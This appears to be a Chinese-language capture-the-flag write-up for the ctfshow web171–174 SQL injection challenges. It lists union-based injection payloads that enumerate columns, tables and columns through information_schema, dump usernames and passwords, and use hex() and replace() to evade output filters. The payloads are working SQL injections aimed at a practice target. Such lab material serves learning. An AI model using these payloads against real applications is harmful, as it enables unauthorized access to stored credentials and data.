web 171
查询有多少列
1' union select null,null,null --+
查询库名
1' union select 1,2,database() --+
查询ctfshow_web库的表
1' union select 1,2,group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = 'ctfshow_web';--+
group_concat函数把查询结果合并到一行显示
合并查询当前库的表
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
查询表列名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'ctfshow_web' and table_name = 'ctfshow_user' --+
查询表中的内容
1' union select id,username,password from ctfshow_user --+
web 172
查看有多少列
1' union select null,null --+
查询当前数据库的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() --+
查询ctfshow_user2的列
1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user2' --+
查询数据(只要不查username就行)
1' union select id,password from ctfshow_user2 --+
web 173
返回逻辑preg_match函数进行正则表达式表达式的匹配,成功返回1,否则返回0
参数i表示不区分大小写
json_encode函数将返回值变成json码
查询有多少列
1' union select null,null,null --+
查看当前数据库
1' union select null,null,database() --+
查询表的数据
1' union select id,username,password from ctfshow_user3 where username='flag' --+
发现没有有用的信息
查看返回逻辑发现它把答案过滤了尝试用hex()函数把flag转换成16进制
1' union select hex(id),hex(username),hex(password) from ctfshow_user3 where username='flag' --+
用16进制转换看看是不是flag
用16进制把flag答案转换
web174
查看有多少列
1’ union select null,null --+
看返回逻辑发现它把答案过滤了不能出现数字或者flag
使用replace函数替换
1' union select replace(username,'flag','flog'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0','a'),'1',' b'),'2','c'),'3','d'),'4','e'),'5','f'),'6','g'),'7','h'),'8','i'),'9','j'),'flag','flog') from ctfshow_user4 --+
没有考虑全万一flag里面也有字母,管它呢先换一下看对不对
放到word文档替换